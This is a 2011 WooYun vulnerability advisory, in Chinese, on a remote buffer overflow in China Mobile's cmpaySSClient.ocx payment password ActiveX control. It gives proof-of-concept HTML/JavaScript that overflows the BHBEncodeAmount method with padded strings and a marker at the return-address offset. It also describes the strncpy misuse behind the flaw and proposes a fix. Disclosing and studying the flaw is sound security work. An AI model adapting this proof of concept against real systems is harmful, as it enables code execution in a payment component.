当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:
漏洞标题:
中国移动手机支付密码控件远程溢出漏洞
相关厂商:
漏洞作者:
提交时间:
2011-04-17 22:47
修复时间:
2011-04-18 06:31
公开时间:
2011-04-18 06:31
漏洞类型:
远程代码执行
危害等级:
自评Rank:
20
漏洞状态:
未联系到厂商或者厂商积极忽略
漏洞来源:
http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]
Tags标签:
分享漏洞:
4人收藏 收藏
分享漏洞:

>

漏洞详情

披露状态:

2011-04-17: 积极联系厂商并且等待厂商认领中,细节不对外公开
2011-04-18: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

中国移动手机支付密码控件存在一个远程溢出漏洞,可以执行任意代码

详细说明:

支付密码控件cmpaySSClient.ocx接口存在溢出漏洞可以执行任意代码,测试代码如下:

<object classid='clsid:C15DDF55-9AE3-490A-A6F5-E63020698D5C' id='obj' >
</object>
var arg;
arg=Array(10240);
obj.BHBEncodeAmount(arg);


漏洞证明:

测试文件版本号: 1.0.1.3
在XPSP3和IE6中测试, 使用WinDbg进行调试

<object classid='clsid:C15DDF55-9AE3-490A-A6F5-E63020698D5C' id='obj' >
</object>
var arg;
arg="";
for (i=0; i<1024*2+8+4; i++) arg+="A";
arg += "PPPP";
for (i=0; i<1024*8; i++) arg+="C";
obj.BHBEncodeAmount(arg);


修复方案:

在使用_strncpy函数时长度参数取值,应该以目标缓冲区的作为字符个数参数,而代码中却以源字符串长度为字符个数参数
此为对函数用法理解不正确导致的,有多处使用strncpy函数的地方均存在安全隐患.

版权声明:转载请注明来源 pcasa@乌云


>

漏洞回应

厂商回应:

危害等级:暂时无回应

漏洞Rank:15

确认时间:2011-04-18 06:31

厂商回复:

最新状态:

暂无